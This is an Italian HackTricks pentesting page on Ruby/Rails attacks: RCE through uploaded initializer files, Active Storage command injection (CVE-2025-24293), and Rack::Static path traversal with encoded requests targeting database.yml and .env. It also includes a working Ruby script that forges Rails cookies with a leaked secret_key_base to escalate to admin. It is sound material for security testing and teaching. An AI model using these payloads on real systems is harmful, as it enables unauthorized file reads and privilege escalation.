Trucchi Ruby

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Upload di file per RCE

Come spiegato in this article, caricare un file .rb in directory sensibili come config/initializers/ può portare a remote code execution (RCE) in applicazioni Ruby on Rails.

Suggerimenti:

  • Altre posizioni di boot/eager-load eseguite all'avvio dell'app sono rischiose se scrivibili (ad esempio, config/initializers/ è quella classica). Se trovi un upload arbitrario che finisce da qualche parte sotto config/ e viene poi valutato/required, potresti ottenere RCE all'avvio.
  • Cerca build dev/staging che copiano file controllati dall'utente nell'immagine del container dove Rails li caricherà al boot.

Active Storage image transformation → command execution (CVE-2025-24293)

Quando un'applicazione usa Active Storage con image_processing + mini_magick, e passa parametri non affidabili ai metodi di trasformazione immagine, le versioni di Rails precedenti a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 potrebbero consentire command injection perché alcuni metodi di trasformazione erano erroneamente permessi di default.

  • Un pattern vulnerabile appare così:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

dove params[:t] e/o params[:v] sono controllati dall'attaccante.

  • Cosa provare durante il testing

  • Individua endpoint che accettano opzioni variant/processing, nomi di trasformazione, o argomenti arbitrari di ImageMagick.

  • Fuzz params[:t] e params[:v] per errori sospetti o effetti collaterali di esecuzione. Se riesci a influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull'host del processore di immagini.

  • Se hai solo read-access ai variant generati, prova blind exfiltration tramite operazioni ImageMagick create ad arte.

  • Mitigazione/rilevamento

  • Se trovi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + image_processing + mini_magick e trasformazioni controllate dall'utente, consideralo sfruttabile. Raccomanda l'aggiornamento e l'applicazione di allowlists rigorose per metodi/parametri e di una policy di ImageMagick più restrittiva.

Rack::Static LFI / path traversal (CVE-2025-27610)

Se lo stack target usa direttamente Rack middleware o tramite framework, le versioni di rack precedenti a 2.2.13, 3.0.14 e 3.1.12 permettono Local File Inclusion tramite Rack::Static quando :root è unset/misconfigurato. Traversal codificati in PATH_INFO possono esporre file sotto la working directory del processo o una root inaspettata.

  • Cerca app che montano Rack::Static in config.ru o negli stack di middleware. Prova traversal codificati contro percorsi statici, per esempio:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Adatta il prefisso per corrispondere ai urls: configurati. Se l'app risponde con il contenuto del file, probabilmente hai LFI verso qualsiasi cosa sotto il :root risolto.

  • Mitigazione: aggiorna Rack; assicurati che :root punti solo a una directory di file pubblici ed è esplicitamente impostato.

Forging/decrypting Rails cookies quando secret_key_base is leaked

Rails cripta e firma i cookie usando chiavi derivate da secret_key_base. Se quel valore leaks (ad esempio, in un repo, log o credenziali mal configurate), di solito puoi decriptare, modificare e ri-crittografare i cookie. Questo spesso porta a authz bypass se l'app memorizza ruoli, user ID o feature flags nei cookie.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Note:

  • Le app più vecchie possono usare AES-256-CBC e salts encrypted cookie / signed encrypted cookie, o JSON/Marshal serializers. Adatta salts, cipher e serializer di conseguenza.
  • In caso di compromissione/valutazione, ruota secret_key_base per invalidare tutti i cookie esistenti.

Vedi anche (vulnerabilità specifiche Ruby/Rails)

Riferimenti

  • Annuncio di sicurezza Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
  • Avviso GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks